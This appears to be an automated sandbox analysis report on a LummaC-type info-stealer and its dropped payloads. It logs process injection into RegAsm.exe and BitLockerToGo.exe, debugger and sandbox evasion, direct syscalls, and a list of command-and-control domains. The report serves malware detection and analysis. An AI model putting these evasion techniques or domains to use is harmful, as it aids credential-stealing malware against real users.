Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 945

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\is-2Q3FJ.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\is-EAF0N.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lnef[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\filename.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userJJJJDAAECG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\is-KRTJG.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[2].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-QIRUR.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\NewStar\is-9IS1N.tmp	Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

API coverage: 3.5 %

Source: C:\Users\user\Desktop\gobEmOm5sr.exe TID: 7504	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe TID: 7520	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7540	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7660	Thread sleep count: 335 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7660	Thread sleep time: -67000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe TID: 1860	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe TID: 5344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe TID: 7520	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe TID: 7684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe TID: 7256	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5576	Thread sleep count: 52 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5576	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 3616	Thread sleep count: 44 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 3616	Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5084	Thread sleep count: 51 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5084	Thread sleep time: -102051s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 6112	Thread sleep count: 56 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 6112	Thread sleep time: -112056s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 8100	Thread sleep count: 62 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 8100	Thread sleep time: -372000s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 6048	Thread sleep count: 45 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 6048	Thread sleep time: -90045s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5312	Thread sleep count: 48 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5312	Thread sleep time: -96048s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5568	Thread sleep count: 52 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 5568	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 4828	Thread sleep count: 47 > 30
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe TID: 4828	Thread sleep time: -94047s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5100	Thread sleep time: -45000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3060	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5776	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7924	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\NewStar\newstar.exe TID: 3668	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\NewStar\newstar.exe TID: 4192	Thread sleep time: -1440000s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 1608	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7860	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_00409B30 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

7_2_00409B30

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\NewStar\newstar.exe	Thread delayed: delay time: 60000

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: lenTsqDIajevXTuJaJ03oKGb.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: HgFsrsD7Mnq7IVYcDrZ
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2196471445.00000000012BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz
Source: OvoRF_A3QBH3keQBtcOqN7Fa.exe, 00000010.00000002.2264707504.0000000001DFE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll.
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: jm8hgFsy2bHi6yaFC847
Source: RegAsm.exe, 00000002.00000002.1950398912.00000000010AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1950398912.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: gobEmOm5sr.exe, 00000000.00000000.1647082311.0000000000842000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: NhwHwiZLhgFsNg0w3XQu
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2332767463.00000000058C0000.00000004.08000000.00040000.00000000.sdmp, REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000002.2152537664.0000000003D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: XLPHGFSPQHIXQJMWIYQNEBJBPSRAXIXVQJURCRMXGFAG
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000000.1922131393.0000000000282000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: vMciv4FTWk
Source: REaoHTwA9AqN_cDvubi9mxZt.exe, 00000006.00000000.1922131393.0000000000282000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: DEURKUJUSGIWVQOPRPWDRMHVYYEHDFBZIPNXTCMQEMUHYDLVICQWEFGRWZTLPCRMFJNFCQWPCFY

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe

Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: NTICE
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: SICE
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	File opened: SIWVID

Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Process queried: DebugPort
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process queried: DebugPort
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432CB0 mov eax, dword ptr fs:[00000030h]		2_2_00432CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00432CB0 mov eax, dword ptr fs:[00000030h]		2_2_00432CB0

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		17_2_61EAF900
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EAF8FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,		17_2_61EAF8FC

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7wpHB_IZvVwIDf0EgO_TfPH6.exe PID: 8048, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: QUh1lM2wAJwuyCkYckhrDFwz.exe PID: 8056, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe

Code function: 11_2_022B52C1 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

11_2_022B52C1

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x14184DA5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x140F68E97	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x140F6956E	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtClose: Direct from: 0x140F6157B
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x14183B5C6	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x141793664	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtMapViewOfSection: Direct from: 0x1417C8CFD	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x1417BEF5F	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x1417A9B34	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtUnmapViewOfSection: Direct from: 0x14181B636	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x141817E99	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x140F5F1B5	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Direct from: 0x141792D37	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	NtProtectVirtualMemory: Indirect: 0x140F2B0BD	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Memory written: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: JJdIaooFQpkpcWNUCJ71mJDj.exe, 0000000A.00000002.2204897517.0000000001AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
